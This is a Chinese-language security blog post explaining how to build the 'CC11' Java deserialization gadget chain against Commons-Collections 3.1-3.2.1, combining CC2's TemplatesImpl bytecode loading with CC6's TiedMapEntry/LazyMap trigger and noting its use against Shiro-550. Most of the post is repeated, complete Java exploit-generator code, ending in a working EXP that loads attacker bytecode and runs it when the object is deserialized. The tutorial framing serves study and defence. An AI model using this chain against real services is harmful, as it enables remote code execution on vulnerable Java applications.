Commons-Collections 篇 --CC11

CC11

介绍

通过shiro550未导入的cc我们自己打依赖编写了cc链,是CC2+CC6的组合变形

我们把它叫做CC11,这条链子使用字节码加载

其实根据我们前面分析的CC1-7,可以衍生出来很多CCN

image-20251217162804674

环境

  • CommonsCollections 3.1-3.2.1
  • jdk8u65

编写

前半部分

  • CC11的前半段和CC2的前半段是一样的

    1
    2
    3
    4
    5
    6
    7
    //CC2
    readObject()
    PriorityQueue.heapify()
    Comparable.compare()
    TrAXFilter.newTransformer()
    TemplatesImpl.getTransletInstance()
    <恶意类初始化执行>
  • 调用templates的newTransformer方法,实现恶意类的加载

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
    nameField.setAccessible(true);//获取私有
    nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"
      
    Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
    bytecodesField.setAccessible(true);//获取私有
      
    byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
    byte[][] codes = {code};//设置二位数组和参数类型匹配
    bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes
      
    InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
      
      
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    Class c =transformingComparator.getClass();
           Field transformerField = c.getDeclaredField("transformer");
           transformerField.setAccessible(true);
           transformerField.set(transformingComparator, invokerTransformer);

后半部分

  • CC6的后半部分

    1
    2
    3
    4
    5
    6
    7
    8
    //CC6
    readObject()
    HashMap.readObject()
    HashMap.hash()
    TiedMapEntry.hashCode()
    LazyMap.get()
    Transformer.transform()
    Runtime.exec()
  • 利用TiedMapEntry的hashCode方法,一步一步调用到InvokerTransformer,利用它来执行newTransformer方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Transformer[] transformers = {
                  new ConstantTransformer(templates),
                  new InvokerTransformer("newTransformer",null,null)
          };
      
          ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      
          HashMap<Object, Object> hashMap = new HashMap<>();
          Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
          TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
      
          lazymap.put(tiedMapEntry,null);
          lazymap.remove(null);

最后

  • 组合起来两部分是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    public static void main(String[] args) throws Exception{
            TemplatesImpl templates = new TemplatesImpl();
            Class<? extends TemplatesImpl> tc = templates.getClass();
            Field name = tc.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"a");
    
            Field bytecodes = tc.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][] codes = {eval};
            bytecodes.set(templates,codes);
    
            Field tfactory = tc.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());
    
    
            Transformer[] transformers = {
                    new ConstantTransformer(templates),
                    new InvokerTransformer("newTransformer",null,null)
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
    
            HashMap<Object, Object> expMap = new HashMap<>();
            expMap.put(tiedMapEntry,"xxx");
            lazyMap.remove("xxx");
    
    //        serialize(expMap);
            unserialize("ser.bin");
  • 但是我们发现在put时,就已经触发了计算器,是因为在put时也会触发其hashCode方法我们也和CC6一样,先改为无用的东西,后面通过反射调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    public static void main(String[] args) throws Exception{
            TemplatesImpl templates = new TemplatesImpl();
            Class<? extends TemplatesImpl> tc = templates.getClass();
            Field name = tc.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"a");
    
            Field bytecodes = tc.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][] codes = {eval};
            bytecodes.set(templates,codes);
    
            Field tfactory = tc.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());
    
    
            Transformer[] transformers = {
                    new ConstantTransformer(templates),
                    new InvokerTransformer("newTransformer",null,null)
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
    //        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
    
            HashMap<Object, Object> expMap = new HashMap<>();
            expMap.put(tiedMapEntry,"xxx");
            lazyMap.remove("xxx");
    
            Class<? extends Map> lazyMapClass = lazyMap.getClass();
            Field factory = lazyMapClass.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(lazyMap,chainedTransformer);
    
    //        serialize(expMap);
            unserialize("ser.bin");
    
        }
  • 有数组攻击链,利用ChainedTransformer的递归调用,和ConstantTransformer的指定返回类来传参

    无数组的攻击链,参数是从getValue调用LazyMap的get方法时传入的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public Object getValue() {
            return map.get(key);
        }
    //LazyMap
    public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
  • 所以最后做修改

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    public static void main(String[] args) throws Exception{
            TemplatesImpl templates = new TemplatesImpl();
            Class<? extends TemplatesImpl> tc = templates.getClass();
            Field name = tc.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"a");
    
            Field bytecodes = tc.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][] codes = {eval};
            bytecodes.set(templates,codes);
    
            Field tfactory = tc.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());
    
            InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
    
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
    //        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
    
            HashMap<Object, Object> expMap = new HashMap<>();
            expMap.put(tiedMapEntry,"xxx");
            lazyMap.remove(templates);
    
            Class<? extends Map> lazyMapClass = lazyMap.getClass();
            Field factory = lazyMapClass.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(lazyMap,invokerTransformer);
    
    //        serialize(expMap);
            unserialize("ser.bin");
    
        }

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
//        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry,"xxx");
        lazyMap.remove("xxx");

        Class<? extends Map> lazyMapClass = lazyMap.getClass();
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);

//        serialize(expMap);
        unserialize("ser.bin");

    }

image-20251210151727418


Commons-Collections 篇 --CC11
http://example.com/2025/12/17/CC11/
作者
Piggy Sprint
发布于
2025年12月17日
许可协议